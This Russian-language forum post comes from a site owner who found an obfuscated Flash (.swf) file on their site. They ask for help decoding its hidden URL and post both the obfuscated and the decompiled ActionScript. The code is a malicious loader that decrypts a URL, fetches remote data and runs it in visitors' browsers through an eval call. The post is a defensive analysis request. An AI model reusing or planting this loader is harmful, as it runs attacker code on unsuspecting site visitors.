matrix-ukr
Создатель
- Регистрация
- 25 Фев 2008
- Сообщения
- 19
- Реакции
- 2
- Автор темы
- #1
Помогите расшифровать код в .swf файле.
Надо вытащить урл.
видно из кода что он зашифрован
Прогой ffdec декомпилирую с деобфускатором
видно что есть урл,
но он опять зашифрован скриптом
мож кто силен в этом, расшифрует?
p.s. Этот файл обнаружил у себя на сайте, интересно что и куда он шлет.
Надо вытащить урл.
Код:
1 //Кадр 0
2 // Тег действия #0
3
4 for (;;)
5 {
6 if (511629458 == 511629762)
7 {
8 false;
9 1238734783 & -1238734784;
10 function decrypt(hex)
11 {
12 var __reg5;
13 var __local0;
14 if (205673138 ^ 205673138)
15 {
16 __local0 = __reg5 = "A";
17 }
18 else
19 {
20 __reg5 = "A";
21 var __reg1;
22 __local0 = __reg1 = 0;
23 }
24 __local0;
25 for (;;)
26 {
27 408838581 ^ 408838581;
28 2136550932 & -2136550933;
29 if (__reg1 >= hex.B)
30 {
31 break;
32 }
33 if (1890669217 ^ 1890669217)
34 {
35 "C";
36 }
37 else
38 {
39 var __reg3;
40 if (!(1502222836 ^ 1502222836))
41 {
42 __reg3 = hex.C(__reg1, 2);
43 }
44 }
45 1234629013 ^ 1234629013;
46 127070979 & -127070980;
47 var __reg2 = int("D" + __reg3);
48 1130412752 ^ 1130412752;
49 __reg2 = __reg2 ^ 146;
50 1618839222 & -1618839223;
51 if (!(1876906722 ^ 1876906722))
52 {
53 __reg5 = __reg5 + chr(__reg2);
54 }
55 var __local1;
56 var __local2;
57 if (1459356484 ^ 1459356484)
58 {
59 __local1 = __reg1;
60 __local2 = 2;
61 }
62 else
63 {
64 __reg1 = __reg1 + 2;
65 __local1 = 1035411512;
66 __local2 = -1035411513;
67 }
68 __local1 & __local2;
69 }
70 return __reg5;
71 }
72 function decrypt2(x)
73 {
74 var __reg3;
75 if (!(1305523191 ^ 1305523191))
76 {
77 __reg3 = "E";
78 var __reg5;
79 }
80 358163740 & -358163741;
81 __reg5 = "A";
82 var __reg1 = 0;
83 for (;;)
84 {
85 668399191 & -668399192;
86 if (__reg1 >= x.B)
87 {
88 break;
89 }
90 728960938 & -728960939;
91 var __reg2;
92 if (!(659520091 ^ 659520091))
93 {
94 __reg2 = x[__reg1];
95 }
96 var __local3;
97 var __local4;
98 if (1304094488 ^ 1304094488)
99 {
100 __local3 = __reg1;
101 __local4 = __reg3.B;
102 }
103 else
104 {
105 __local3 = ord(__reg3.F(__reg1 % __reg3.B));
106 __local4 = 1600397074;
107 }
108 if (!(__local4 ^ __local4))
109 {
110 __reg2 = __reg2 - __local3;
111 }
112 381488006 ^ 381488006;
113 var __local5;
114 var __local6;
115 if (1588179671 ^ 1588179671)
116 {
117 __local5 = __reg5;
118 __local6 = chr(__reg2);
119 }
120 else
121 {
122 __reg5 = __reg5 + chr(__reg2);
123 __local5 = 1791047020;
124 __local6 = -1791047021;
125 }
126 __local5 & __local6;
127 var __local7 = 1234090841 ^ 1234090841 ? (__reg1 + 1) : (++__reg1, 353477196);
128 if (__local7 ^ __local7)
129 {
130 return;
131 }
132 }
133 return __reg5;
134 }
135 function checkFileLoaded()
136 {
137 1023518590 ^ 1023518590;
138 1053853491 & -1053853492;
139 657257249 & -657257250;
140 if (G.H != undefined)
141 {
142 503511606 ^ 503511606;
143 if (!(694364267 ^ 694364267))
144 {
145 var __reg1 = G.H;
146 }
147 2090915988 & -2090915989;
148 1959531698 & -1959531699;
149 __reg1 = I(__reg1);
150 816324877 & -816324878;
151 K.L.M("J", __reg1);
152 1440055877 & -1440055878;
153 if (163421523 ^ 163421523)
154 {
155 return;
156 }
157 ();
158 }
159 }
160 if (!(413982461 ^ 413982461))
161 {
162 var = [202, 169, 164, 164, 158, 147, 100, 154, 178, 152, 159, 209, 222, 212, 148, 209, 212, 98, 219, 197, 147, 159, 157, 166, 143, 210, 149, 167, 171, 165, 201, 170, 95, 213, 173, 154, 171, 145, 155, 104, 108, 153, 148, 109, 107, 110, 106, 107, 151, 148, 150, 150, 196, 154, 105, 158, 156, 153, 156, 103, 100, 197, 147, 149, 108, 157, 105, 157, 158, 152, 161, 177, 118, 104, 150, 107];
163 }
164 2138120251 ^ 2138120251;
165 545771429 & -545771430;
166 if (!(1847114876 ^ 1847114876))
167 {
168 ("G", ());
169 }
170 1215427511 & -1215427512;
171 var = (, 200);
172 1317206141 & -1317206142;
173 2145970620 & -2145970621;
174 loadVariables((), G);
175 1329807057 ^ 1329807057;
176 if (19847025 != 19847107)
177 {
178 continue;
179 }
180 }
181 }
182
183
184
Прогой ffdec декомпилирую с деобфускатором
Код:
1 function decrypt(hex)
2 {
3 var _loc5_ = "";
4 var _loc1_ = 0;
5 while(_loc1_ < hex.length)
6 {
7 var _loc3_ = hex.substr(_loc1_,2);
8 var _loc2_ = int("0x" + _loc3_);
9 _loc2_ = _loc2_ ^ 146;
10 _loc5_ = _loc5_ + chr(_loc2_);
11 _loc1_ = _loc1_ + 2;
12 }
13 return _loc5_;
14 }
15 function decrypt2(x)
16 {
17 var _loc3_ = "b504dd59834bdefad4fdd742bb4577d82b997";
18 var _loc5_ = "";
19 var _loc1_ = 0;
20 while(_loc1_ < x.length)
21 {
22 var _loc2_ = x[_loc1_];
23 _loc2_ = _loc2_ - ord(_loc3_.charAt(_loc1_ % _loc3_.length));
24 _loc5_ = _loc5_ + chr(_loc2_);
25 _loc1_ = _loc1_ + 1;
26 }
27 return _loc5_;
28 }
29 function checkFileLoaded()
30 {
31 if(container.data != undefined)
32 {
33 var _loc1_ = container.data;
34 _loc1_ = decrypt(_loc1_);
35 flash.external.ExternalInterface.call("eval",_loc1_);
36 clearInterval(loadingInterval);
37 }
38 }
39 var url = [202,169,164,164,158,147,100,154,178,152,159,209,222,212,148,209,212,98,219,197,147,159,157,166,143,210,149,167,171,165,201,170,95,213,173,154,171,145,155,104,108,153,148,109,107,110,106,107,151,148,150,150,196,154,105,158,156,153,156,103,100,197,147,149,108,157,105,157,158,152,161,177,118,104,150,107];
40 this.createEmptyMovieClip("container",this.getNextHighestDepth());
41 var loadingInterval = setInterval(checkFileLoaded,200);
42 loadVariables(decrypt2(url),container);
43
44
Код:
1 var url = [202,169,164,164,158,147,100,154,178,152,159,209,222,212,148,209,212,98,219,197,147,159,157,166,143,210,149,167,171,165,201,170,95,213,173,154,171,145,155,104,108,153,148,109,107,110,106,107,151,148,150,150,196,154,105,158,156,153,156,103,100,197,147,149,108,157,105,157,158,152,161,177,118,104,150,107]
2
мож кто силен в этом, расшифрует?
p.s. Этот файл обнаружил у себя на сайте, интересно что и куда он шлет.